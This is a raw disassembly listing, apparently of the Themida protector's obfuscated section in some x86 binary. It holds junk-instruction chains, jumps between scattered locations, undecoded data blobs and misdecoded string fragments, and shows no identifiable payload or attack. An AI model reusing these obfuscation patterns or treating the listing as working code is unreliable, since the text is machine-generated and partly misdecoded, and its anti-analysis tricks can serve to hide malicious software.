		add	eax, edx
		sub	eax, 10EA703Bh
		pop	edx
		add	eax, 4
		jmp	loc_5549EF
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFE9h, 4CF181FFh, 5136C116h, 50242C81h,	8B39C91Eh
		dd 0C483242Ch, 15BB5304h, 0E91F921Bh, 0FFFFAC8Fh
dword_55582C	dd 24143166h, 24143366h, 0FFAFE9E9h, 19ED81FFh,	5536247Ah
					; DATA XREF: Themida_:0054F594o
		dd 5D2414F7h, 56BBF581h, 45E9D11Ch
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55584F:				; CODE XREF: Themida_:005507BEj
		mov	ebp, 186D04F9h
		dec	ebp
		not	ebp
		sub	ebp, 0C1BFD390h
		jmp	loc_553426
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 5A2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_555871:				; CODE XREF: Themida_:005581F7j
		sub	dword ptr [esp], 43805859h
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 49h
		dd 5917EF1Ch, 2BF57h, 0FA010000h, 2414875Fh, 0E924248Bh
		dd 217Eh, 0BBh,	89FB2900h, 0CF815BDFh, 63914A5Ah, 9FAEEF81h
		dd 0EA81D06Bh, 693E5CA3h, 0FFE669E9h, 88FE86FFh, 78E95AF7h
		dd 81FFFFDAh, 104FFCEBh, 5BD80140h, 5421E9h, 85E95800h
		dd 8BFFFFE9h, 0C481243Ch, 4, 0FFFE47E9h, 81D101FFh, 0FD0968C1h
		dd 0C1815A0Bh, 2, 31240C33h, 0C33240Ch,	24248B24h, 4BB0F66h
		dd 0A8E99C24h, 59FFFF9Eh, 1609E950h, 0C0B30000h, 0FFD991E9h
		dd 2C9B2CFFh, 4EC81ABh,	89000000h, 3BB5240Ch, 686568h
		dd 240C8900h, 8890B353h, 0C8005BD9h, 81240C8Bh,	4C4h, 4B72C00h
		dd 2CE800F5h, 0B7B252F5h, 0D000A82Ch, 0FFB4DBE9h, 1EA81FFh
		dd 814FCA4Fh, 0BB58BCEEh, 1A43E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555966:				; CODE XREF: Themida_:00552E97j
		mov	al, 0B8h
		xor	al, 66h
		push	small 0A4Bh
		mov	[esp], bx
		mov	bh, 0EDh
		xor	al, bh
		pop	bx
		push	ax
		not	byte ptr [esp]
		pop	ax
		push	ecx
		mov	ch, 0Ch
		xor	al, ch
		jmp	loc_559852
; ---------------------------------------------------------------------------


loc_555989:				; CODE XREF: Themida_:00550C34j
		sub	dword ptr [esp+4], 0C717325h
		add	dword ptr [esp+4], 57320F81h
		jmp	loc_550EC3
; ---------------------------------------------------------------------------
		dw 295Fh
		dd 0B9515DEBh, 753D163Ah, 159CB01h, 3AEB81C3h, 81753D16h
		dd 251317C3h, 1C33583Ah, 241C3124h, 0F7E9h, 4E5C100h, 3FA9CD81h
		dd 814547EAh, 947868F5h, 81D5F751h, 6AC797C5h, 0EE37E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5559E2:				; CODE XREF: Themida_:0055B67Aj
		pop	ebx
		push	ebp
		mov	ebp, 72FC61B5h
		inc	ebp
		shl	ebp, 5
		sub	ebp, 31B467EFh
		xor	ebp, 44E67C3Dh
		jmp	loc_553DC5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 57243C8Bh, 0BE56E789h, 4,	835EF701h, 3C8704C7h, 516AE924h
		dd 0E95B0000h, 0FFFFB639h, 0FFEA8142h, 81FFFFFFh, 0BCD82EC2h
		dd 5AD701DFh, 3D5B68h, 241C8900h, 32F6856h, 815E429Dh
		dd 0DD07E4E6h, 0DDEE8131h, 89DFF49Ch, 0DBF75EF3h, 0CECCB81h
		dd 0BD554873h, 66FB0E0Dh, 0EE31F531h, 0D6F7F531h, 0EDC1F587h
		dd 0A6A7E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A72:				; CODE XREF: Themida_:0055B98Aj
		push	4157h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	edi, 1
		neg	edi
		jmp	loc_55B15C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 5004C483h, 2B8h, 0E9C10100h,	0FFFFE9B7h, 52240C8Bh
		dd 0C281E289h, 4, 0E904C283h, 0FFFFD33Bh, 5C241C33h, 0FFE2F7E9h
		dd 241C89FFh, 0B371B252h, 5AD328F1h, 1C8BD988h,	4C48324h
		dd 0D1F6C9FEh, 0C003E1C0h, 0C98002E9h, 3E9C0DDh, 0FE84B652h
		dd 6EEC0CEh, 0FE0AE680h, 45B151C6h, 0E993F180h,	36CDh
		dd 5072B353h, 0E588DC88h, 8124048Bh, 4C4h, 0ED805B00h
		dd 59EE307Bh, 45AF788h,	5B72E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B22:				; CODE XREF: Themida_:00550D45j
		mov	ecx, [esp]
		add	esp, 4
		shr	edi, 1
		xor	edi, 5D825676h
		add	edi, 0FFFFFFFFh
		jmp	loc_5531D9
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C3304C7h, 243C3124h, 5C243C33h
		dd 0FFAD43E9h, 0D6FAB9FFh, 0C1319D28h, 59CB3158h, 0FCE9D801h
		db 17h,	2 dup(0)
byte_555B67	db 0FFh			; DATA XREF: Themida_:0054F5ECo
		dd 44E94077h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555B6F:				; CODE XREF: Themida_:00555610j
		add	ebp, 3B7362C4h
		pop	edx
		shr	ebp, 8
		jmp	loc_5517FC
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 59F0h
; ---------------------------------------------------------------------------


loc_555B84:				; CODE XREF: Themida_:0055431Dj
		dec	edx
		jmp	loc_556058
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFFD08h, 0FF9C1EE9h, 4C481FFh, 0E9000000h, 10A5h
		dd 0F66E9F6h, 6866CCB6h, 0F5E95AF1h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555BAF:				; CODE XREF: Themida_:00555317j
		add	dword ptr [esp+4], 265B724Bh
		push	76A3h
		mov	[esp], ebx
		mov	ebx, 24633F65h
		add	dword ptr [esp+8], 7BA64F1Dh
		add	[esp+8], ebx
		jmp	loc_551CCD
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0B9510000h, 2, 8759C829h, 665C2404h,	66241489h, 0C0E99C50h
		dd 0C1FFFF9Bh, 0EB8106EBh, 32CFA68h, 575BDE01h,	44670BBFh
		dd 13E78101h, 81160512h, 0EA75B5EFh, 0B6C78160h, 160E673h
		dd 96E95FFEh, 0B800002Eh, 4, 8758C701h,	685C243Ch, 1548h
		dd 54240489h, 0FFA69FE9h, 4EC81FFh, 89000000h, 0EC83240Ch
		dd 24248904h, 4240481h,	0FF000000h, 53592434h, 21E9E389h
		dd 89FFFFD2h, 0E8315AD5h, 1462E95Dh, 248B0000h,	243CD324h
		dd 39F8E99Ch, 0E8010000h, 2404875Dh, 29ECE9h, 5D80100h
		dd 6B112E2Bh, 83241C8Bh, 0E95F04C4h, 0FFFFED9Fh, 58D3C381h
		dd 348B2652h, 3B356824h, 14890000h, 56E28924h, 2F61CEBEh
		dd 46DEF743h, 0FFDA94E9h, 1CB050FFh, 0BBE9E8D0h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CBB:				; CODE XREF: Themida_:0055B8B0j
		push	esi
		mov	esi, 6B65EC4h
		jmp	loc_5532B1
; ---------------------------------------------------------------------------


loc_555CC6:				; CODE XREF: Themida_:0055B788j
		push	11A8h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554CA4
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
dword_555CE8	dd 33242C31h, 248B242Ch, 2886424h, 0FF9ABAE9h, 0B60F66FFh
		dd 0E18951CCh, 5C01BE56h, 98E95AF2h, 50000061h,	1A7C22B8h
		dd 411DE965h, 815E0000h, 4C6h, 56ECE900h, 0E9530000h, 0FFFFFBEAh
		dd 28044824h, 0C058C330h, 2EE902EBh, 5000049h, 4, 405h
		dd 24048700h, 0E289525Ch, 4C281h, 0C2830000h, 302CE904h
		dd 0C4810000h, 4, 6BD268h, 240C8900h, 0FFC858E9h, 241431FFh
		dd 8B241433h, 64E92424h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_555D77:				; CODE XREF: Themida_:00552E5Cj
		shr	ecx, 3
		xor	ecx, 0B010C82h
		push	edx
		mov	edx, 264B162Eh
		jmp	loc_556727
; ---------------------------------------------------------------------------
		db 0F7h
		dd 64E281DAh, 4A39E45Dh, 0DFE28142h, 812A5B29h,	482A4BF2h
		dd 0E9D62908h, 15A0h
; ---------------------------------------------------------------------------


loc_555DA8:				; CODE XREF: Themida_:005571E2j
		push	edx
		jmp	loc_55430D
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E9D6F703h, 0FFFFB166h
; ---------------------------------------------------------------------------


loc_555DB8:				; CODE XREF: Themida_:00556395j
		push	edi
		jmp	loc_556CA8
; ---------------------------------------------------------------------------
		dw 0C29h
		dd 0E9815924h, 1E994A9Bh, 4CE0F181h, 0CA89A802h, 3DA0159h
		dd 30E95A02h, 66FFFFC4h, 3EDDEB81h, 3C38166h, 0C301663Ah
		dd 3EB8166h, 6650663Ah,	0E93EDDB8h, 16ABh
; ---------------------------------------------------------------------------


loc_555DF8:				; CODE XREF: Themida_:005507FEj
		mov	edx, edi
		jmp	loc_55BE34
; ---------------------------------------------------------------------------


loc_555DFF:				; CODE XREF: Themida_:0055124Ej
		mov	[esp], edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		jmp	loc_557C27
; ---------------------------------------------------------------------------


loc_555E1D:				; CODE XREF: Themida_:00559BD8j
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3CF52892h
		jmp	loc_55BD23
; ---------------------------------------------------------------------------
		db 81h,	34h, 24h
		dd 0EB86FF6h, 0FFF861E9h, 53E589FFh, 5F31E9h
		db 0
byte_555E45	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:0054F5E4o
		dd 153568h, 241C8900h, 52505B54h, 814304BAh, 0F3E28166h
		dd 81258123h, 7417C2EAh, 8EAC162h, 0EA81E2D1h, 18419D2h
		dd 34FFD089h, 0C4835A24h, 2EB8104h, 16EB603h, 2C381C3h
		dd 586EB603h, 4BA52h, 0D3010000h, 241C335Ah, 33241C31h
		dd 248B241Ch, 2434FF24h, 582434FFh, 81E18951h, 4C1h, 4DDBE900h
		dd 4BE0000h, 81000000h,	302F3BEBh, 81F30145h, 302F3BC3h
		dd 18CAE945h, 665C0000h, 0E956E9F7h, 0FFFFD4D5h
; ---------------------------------------------------------------------------


loc_555ED4:				; CODE XREF: Themida_:00557AF7j
		xor	edx, 434BCF8h
		add	ebx, edx
		pop	edx
		mov	ebp, ebx
		jmp	loc_55488B
; ---------------------------------------------------------------------------


loc_555EE4:				; CODE XREF: Themida_:00554B25j
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		jmp	loc_554D97
; ---------------------------------------------------------------------------
byte_555F0B	db 68h			; DATA XREF: Themida_:0054F698o
		dd 253Bh, 0BB241C89h, 1Ch, 142DEB81h, 35E95E8Fh, 68000032h
		dd 13126B4Bh, 0CECE815Eh, 0E96D290Eh, 0FFFFE6AFh
; ---------------------------------------------------------------------------


loc_555F34:				; CODE XREF: Themida_:00557D71j
		xor	bl, al
		movzx	eax, al
		jmp	loc_556A5F
; ---------------------------------------------------------------------------
aSfy		db '(èfY',0
		db 0F0h
		dd 37D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_555F49:				; CODE XREF: Themida_:005595A0j
		pop	esi
		pop	edx
		add	[edi+24h], esi
		jmp	loc_54FBA9
; ---------------------------------------------------------------------------


loc_555F53:				; CODE XREF: Themida_:0055426Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 61A600FBh
		xor	esi, 180F7D73h
		add	esi, 753C46D3h
		inc	esi
		or	esi, 6AAE2EDDh
		sub	esi, 1
		push	eax
		mov	eax, 5FA403D2h
		xor	esi, eax
		pop	eax
		add	edx, 22DA2677h
		add	edx, 0DD70FDDh
		add	edx, esi
		sub	edx, 0DD70FDDh
		jmp	loc_554AA9
; ---------------------------------------------------------------------------
		dd 8BC7ED80h, 0C4832414h, 0E9EB2804h, 5D46h, 0E9243C8Bh
		dd 0FFFFBAC0h, 4EC815Ch, 89000000h, 19E9242Ch, 66FFFFEDh
		dd 66C8B60Fh, 54E99C51h
		db 39h,	2 dup(0)
byte_555FCF	db 66h			; DATA XREF: Themida_:0054F5A8o
		dd 6824048Bh, 6EB3h, 54241C89h,	3EB1E9h, 0CAE95600h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555FE7:				; CODE XREF: Themida_:0055019Cj
		or	eax, eax
		jz	loc_558B4C
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 459A18FCh
		push	dword ptr [esp]
		jmp	loc_55AB98
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 5
		dd 0FFB5EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556009:				; CODE XREF: Themida_:00554DACj
		inc	edx
		add	edx, 2A97A89Fh
		jmp	loc_55153C
; ---------------------------------------------------------------------------
		db 58h,	1, 0F8h
		dd 5755515Fh, 42426851h, 0C1594849h, 76E908E9h,	83FFFFA1h
		dd 48F04C4h, 1665C24h, 0E99C2404h, 0FFFF9777h, 572FC381h
		dd 34E97B9Fh
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556047:				; CODE XREF: Themida_:00550B56j
		pop	esi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_557AFC
; ---------------------------------------------------------------------------


loc_556058:				; CODE XREF: Themida_:00555B85j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	127C00C5h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 4BBB2F9Bh
		sub	ebx, 79591C1Dh
		push	edx
		mov	edx, 4AB55023h
		add	ebx, edx
		pop	edx
		mov	ebp, ebx
		pop	ebx
		sub	edx, ebp
		pop	ebp
		jmp	loc_55AAAE
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 24031198h, 41B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_556095:				; CODE XREF: Themida_:0054F998j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_553981
; ---------------------------------------------------------------------------


loc_5560B2:				; CODE XREF: Themida_:0055B082j
		add	ebx, 5C243A0Dh
		jmp	loc_55BAD4
; ---------------------------------------------------------------------------
		db 0B4h, 38h, 0E9h
		dd 0FFFFE82Bh, 4CA8E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5560CA:				; CODE XREF: Themida_:00555702j
		push	eax
		mov	eax, 3E3A7A6Bh
		xor	eax, 7CBB09E6h
		jmp	loc_55A742
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0F751D9F7h, 0F6E92414h, 8900002Eh, 0EC812404h, 4, 88241489h
		dd 5AD488FAh, 29E5E9h, 0FCF58100h, 0E967A76Bh, 56D2h, 50241C89h
		dd 3A48E9h
		db 0
; ---------------------------------------------------------------------------


loc_556111:				; CODE XREF: Themida_:005592D3j
		mov	eax, ecx
		jmp	loc_552B63
; ---------------------------------------------------------------------------
		dd 0E957515Fh, 0FFFF9AD0h, 241C8966h, 0C7FE30B7h, 0C7FED7F6h
		dd 8011F780h, 0D7F693EFh, 0DE39E952h, 0F089FFFFh, 0D0F7405Eh
		dd 5703E8C1h, 0F61709BFh, 47D7F718h, 6A9CCF81h,	0C78153E8h
		dd 0EFBAC224h, 947A072Dh, 5F80108h, 8947A07h, 8BC6015Fh
		dd 26E92404h, 89FFFFFAh, 0BE562414h, 0Ah, 0FFC678E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55617D:				; CODE XREF: Themida_:00551979j
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5512E2
; ---------------------------------------------------------------------------


loc_55618A:				; CODE XREF: Themida_:005538EAj
		sub	esp, 4
		jmp	loc_557B7B
; ---------------------------------------------------------------------------
		dw 5053h
		dd 2C5780B8h, 0F7E95051h, 5100003Fh, 0E980D4B1h, 4E9C093h
		dd 80C1C180h, 0C18058F1h, 59C88843h, 0E958C688h, 0FFFFCF3Dh
		dd 0D5B252h, 0B60F5AD3h, 8734FFC0h, 1F7EE9h
		db 0
byte_5561CD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054F71Co
aHO		db '$h',9,'o',0
		align 2
		dw 0C89h
		dd 83E18924h, 148904ECh, 4BA24h, 85680000h, 0E900003Ch
		dd 0FFFFB428h, 0E981E9D1h, 545F0676h, 4905E1C1h, 0FEABC181h
		dd 0CA21AFB4h, 5FCE959h, 0C5810000h, 0B7655E34h, 0DCCE9h
		dd 59EF0000h, 231AE9h, 0EF815A00h, 4, 5C243C87h, 0FFFEDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55622D:				; CODE XREF: Themida_:005598DDj
		xor	[ebx], eax
		pop	ebx
		jmp	loc_553514
; ---------------------------------------------------------------------------


loc_556235:				; CODE XREF: Themida_:00559FCBj
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_556F56
; ---------------------------------------------------------------------------
aRfpsn9		db 'RfPén9',0
		align 10h
		dd 0CA0EC581h, 0EE019B15h, 74FF565Dh, 8F5E0424h, 248B2404h
		dd 0C8B6624h, 39BE924h,	0EC830000h, 240C8904h, 0DD3B76B9h
		dd 72BB5366h, 3166DD3Bh, 0C5815BD9h, 7B686AFBh,	1045E9h
		db 0
; ---------------------------------------------------------------------------


loc_55628D:				; CODE XREF: Themida_:005580C1j
		mov	ebx, 5C2B4499h
		xor	ebx, eax
		pop	eax
		shl	ebx, 6
		push	ecx
		mov	ecx, 610657F5h
		shr	ecx, 7
		jmp	loc_550463
; ---------------------------------------------------------------------------
		dw 29B8h
		dd 0C173DD36h, 575603E0h, 5050DABFh, 2680E96Ch,	0C6800000h
		dd 0E9F420FCh, 0FFFFD8BEh, 0DFCD814Dh, 81456F35h, 0A00CA2EDh
		dd 4885E974h, 3C890000h, 0C933E924h, 835FFFFFh,	0C38304C4h
		dd 241C8702h, 6624248Bh, 0E99CC885h, 0FFFF94BFh, 5E08950h
		dd 4, 0FFAD98E9h, 243C87FFh, 0FC00B5Ch,	113784h, 46D26800h
		dd 4890000h, 4EC8324h, 0FFB322E9h, 24148BFFh, 4C481h, 9E680000h
		dd 8900002Bh, 53572414h, 7603DBBBh, 1C3810Dh, 81000000h
		dd 0B00B4BEBh, 5EBC11Bh, 6885C381h, 0EB814C57h,	528237F8h
		dd 0EF19C381h, 0DF892D7Bh, 5FFA895Bh, 0FFB373E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556361:				; CODE XREF: Themida_:00556FCAj
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_55B075
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2404h, 4C4h, 0E9D03000h,	35F6h, 68242C89h, 49251A7Bh
		dd 9BB9515Dh, 0E907B709h, 0AE2h
; ---------------------------------------------------------------------------


loc_556390:				; CODE XREF: Themida_:0054FA8Cj
		mov	[esp], ebp
		pop	eax
		pop	ebp
		jmp	loc_555DB8
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 0E7805A94h, 1EEF8031h, 1C8BF800h, 0BBD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5563AE:				; CODE XREF: Themida_:0055A353j
		push	eax
		mov	eax, 2700104Ah
		sub	edi, eax
		jmp	loc_559EFE
; ---------------------------------------------------------------------------


loc_5563BB:				; CODE XREF: Themida_:0055A7B1j
		sub	al, dh
		jmp	loc_552E87
; ---------------------------------------------------------------------------


loc_5563C2:				; CODE XREF: Themida_:005529F9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		bswap	eax
		push	4319h
		mov	[esp], eax
		jmp	loc_55486F
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59C80100h, 405h, 24048700h, 0C0B60F5Ch, 0FFAB68E9h
		dd 4FC281FFh, 0E903B96Eh, 1610h, 4C1835Eh, 8B240C87h, 0BF572424h
		dd 58126A9h, 26ADF781h,	0FD010581h, 5A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55641D:				; CODE XREF: Themida_:005516CFj
		pop	eax
		dec	ebx
		shl	ebx, 3
		push	esi
		mov	esi, 2DD36663h
		inc	esi
		not	esi
		xor	esi, 306FF027h
		add	ebx, esi
		jmp	loc_552636
; ---------------------------------------------------------------------------


loc_556438:				; CODE XREF: Themida_:00554C1Fj
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_557110
; ---------------------------------------------------------------------------
		dw 487h
		dd 48F5C24h, 24248B24h,	53F1F766h, 0FFE5B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556455:				; CODE XREF: Themida_:0055AF9Bj
		pop	ecx
		jmp	loc_55822B
; ---------------------------------------------------------------------------
		db 81h
		dd 0E265C8F1h, 26F18132h, 892BFC25h, 413DE9CDh
		db 2 dup(0)
word_55646E	dw 8B66h		; DATA XREF: Themida_:0054F724o
		dd 89572404h, 0BDCFE9E7h, 6A2CFFFFh, 0B0505966h, 0F65004D5h
		dd 4C0FED0h, 0E9FF2C1Ch, 0FFFFF892h, 68240C89h,	1478h
		dd 68241489h, 76D0h, 0B5240C89h, 80C5FECFh, 0EDC074C5h
		dd 39F58008h, 24C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5564B5:				; CODE XREF: Themida_:00558310j
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_55696A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0D5CCC581h, 0EA31BEFCh, 4D1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5564D1:				; CODE XREF: Themida_:00554AAFj
		mov	esi, [esp]
		jmp	loc_5518F2
; ---------------------------------------------------------------------------


loc_5564D9:				; CODE XREF: Themida_:0055B16Fj
		pop	ebx
		shr	ebp, 1
		add	ebp, 5FD937E7h
		add	ebp, 7A7C22E0h
		jmp	loc_5551AD
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 45h
		dd 748BF57h, 0FD095919h, 3A86E9h, 0C6895E00h, 0BFC68158h
		dd 1035D5Fh, 0BFEE81DEh, 5B035D5Fh, 4246C81h, 173E7030h
		dd 4247401h, 4244481h, 173E7030h, 9289E95Eh, 0C681FFFFh
		dd 11687721h, 83243C8Bh, 343304C4h, 24343124h, 8B243433h
		dd 0B70F2424h, 221C68C8h, 77E90000h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55654F:				; CODE XREF: Themida_:00553168j
		mov	[esp], eax
		mov	eax, 1D3C361Fh
		mov	esi, eax
		pop	eax
		shr	esi, 3
		jmp	loc_5502C4
; ---------------------------------------------------------------------------
aSsn		db 'Sé$',0
		align 4
		dd 0E95FFE31h, 5819h, 81E18951h, 4C1h, 4C18300h, 0FF9FD8E9h
		dd 922DE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556586:				; CODE XREF: Themida_:00558D47j
		mov	esi, esp
		add	esi, 4
		jmp	loc_550EBB
; ---------------------------------------------------------------------------
		db 0B1h
		dd 8DB35385h, 2031EB80h, 0E1C05BD9h, 0C0C1FE06h, 0B35303E9h
		dd 0CE3807Ah, 0EB80D3F6h, 9AF3804Dh, 8095F380h,	0D930BAEBh
		dd 0FF97E4E9h, 241C89FFh, 0FF9B93E9h
		db 0FFh
byte_5565C9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054F728o
		dd 0EC815624h, 4, 83242489h, 0E9042404h, 0FFFFA7A5h
dword_5565E0	dd 4CD2CACh, 81D82809h,	4ECh, 241C8900h, 0E380E5B3h, 38B0506Fh
					; DATA XREF: Themida_:0054F550o
		dd 8058C328h, 0EC8191EBh, 4, 0DDEE9h, 5E545600h, 4BF57h
		dd 1FE90000h, 89FFFFA0h, 0EF815BDFh, 5E696E09h,	0C781EF01h
		dd 5E696E09h, 8BF8295Dh, 8951243Ch, 4C181E1h, 68000000h
		dd 45Bh, 0E9243489h, 3312h, 2474FF52h, 48F5A04h, 0C177E924h
		dd 0FA28FFFFh, 0E9241C8Bh, 3C83h, 24048B66h, 0CD9FE956h
		db 2 dup(0FFh)
off_556666	dd offset dword_544F44+724h ; DATA XREF: Themida_:0054F6DCo
		dw 5400h
		dd 5624048Fh, 0FFD206E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556675:				; CODE XREF: Themida_:00553F9Bj
		xor	edx, 41324749h
		mov	edi, edx
		pop	edx
		and	edi, 602D3A24h
		not	edi
		push	ecx
		jmp	loc_5587A3
; ---------------------------------------------------------------------------
		dd 4B9h, 0EC91E900h, 0C89FFFFh,	2474FF24h, 0B732E904h
		dd 74FFFFFFh, 48B0424h,	4C48124h, 8F000000h, 0D5E92404h
		dd 4FFFFFCAh, 358EEF81h, 0AAE9195Fh, 8000002Eh,	0C280B9EAh
		dd 0E9C2FE64h, 0FFFFEE33h, 5059CB29h, 346BBA52h, 0D8B80CE6h
		dd 3139C527h, 0A8E95AD0h, 1FFFFDFh, 0EC815FFEh,	4, 0FF243489h
		dd 8B042474h, 25E92434h, 5CFFFFCAh, 0BD242C89h,	10B7645Dh
		dd 1DC3BB53h, 0EB8169E7h, 58051835h, 0E956D3F7h, 248Bh
; ---------------------------------------------------------------------------


loc_55671C:				; CODE XREF: Themida_:0055682Bj
		jmp	loc_551055
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 4Ch
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556727:				; CODE XREF: Themida_:00555D86j
		dec	edx
		shr	edx, 1
		add	edx, 685F7A15h
		sub	ecx, edx
		pop	edx
		sub	ebx, 373460Ch
		sub	ebx, 36890B96h
		add	ebx, ecx
		jmp	loc_556898
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 23B4088Bh, 0BFE9F801h, 83000042h, 148904ECh,	2BA24h
		dd 0E9570000h, 1CACh, 0FF904AE9h, 74FF51FFh, 8F590424h
		dd 815C2404h, 4ECh, 24048900h, 5E8E9h, 32BA5200h, 0C15CDC7Bh
		dd 525108EAh, 0A66A33BAh, 5E2C175h, 0FFCA6CE9h
		db 0FFh
byte_556799	db 68h,	65h, 16h	; DATA XREF: Themida_:0054F530o
		dd 84E90000h, 29FFFFC0h, 685B5EF1h, 5770h, 0BF243C89h
		dd 2, 1A28C181h, 0F9015A9Fh, 1A28E981h,	67E95A9Fh, 81FFFFB5h
		dd 326FBEE7h, 6EFC14Eh,	0C624F781h, 815724F6h, 7402242Ch
		dd 1C8B2309h, 0E0895024h, 0B3BE9h, 4072C00h, 2D986873h
		dd 1C890000h, 2CA2B724h, 66F82811h, 11B151h, 0C80FE9C8h
		dd 0EA81FFFFh, 0C3BB1FD9h, 5B7BC381h, 0D30177CDh, 5B7BEB81h
		dd 148B77CDh, 4C48324h,	8CE9C301h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556827:				; CODE XREF: Themida_:00553518j
		add	esp, 4
		pop	ebx
		jmp	loc_55671C
; ---------------------------------------------------------------------------


loc_556830:				; CODE XREF: Themida_:0055C08Aj
		not	esi
		and	esi, 11FB2309h
		jmp	loc_5557E9
; ---------------------------------------------------------------------------
		db 57h,	68h, 0FFh
		dd 5F13EA21h, 0FFCCEBE9h, 77BD55FFh, 291CEF6Bh,	0E00FE9EFh
		dd 0E956FFFFh, 0FFFFACCEh
; ---------------------------------------------------------------------------


loc_55685C:				; CODE XREF: Themida_:0055BDF3j
		sub	eax, 75444A28h
		pop	ebx
		push	edx
		push	eax
		jmp	loc_559716
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BD5500h, 81000000h, 5822E6C2h, 81EA0176h, 5822E6EAh
		dd 26DBE976h, 0EC810000h, 4, 0E9241489h, 0FFFFB3A1h
; ---------------------------------------------------------------------------


loc_556898:				; CODE XREF: Themida_:00556741j
		add	ebx, 36890B96h
		add	ebx, 373460Ch
		mov	ecx, [esp]
		jmp	loc_559045
; ---------------------------------------------------------------------------
		dd 8108E5C1h, 2A1D6CF5h, 2481E923h, 55510000h, 0C80F94BDh
		dd 482CB905h, 0E931345Dh, 257AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5568CE:				; CODE XREF: Themida_:005593D3j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, 7BBC4518h
		add	ebp, eax
		add	ebp, 7BBC4518h
		push	dword ptr [esp]
		pop	eax
